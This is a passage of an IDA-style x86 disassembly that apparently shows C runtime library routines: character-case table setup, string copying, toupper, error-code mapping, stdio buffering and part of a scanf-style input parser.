		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD384
		push	dword_4DD164
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD164
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD384
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD164
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD384
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD281[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD180[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD281[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD180[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD281[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD180[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD281[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD180[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: sub_42367B+9p
					; sub_4236D3+Dp ...
		cmp	dword_4DD3B4, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD3B4, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD17C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD281[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE94, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D094, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE88
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDF0, ecx
		mov	eax, offset dword_43D1A0


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D308
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDEC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D1A4[edx*8]
		mov	dword_4DBDEC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDEC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDEC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D598
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5B8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFBC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE60[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE60h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D094, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE88
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D094, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D094, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D098, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D098
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D094, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D094, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D438
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D310
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
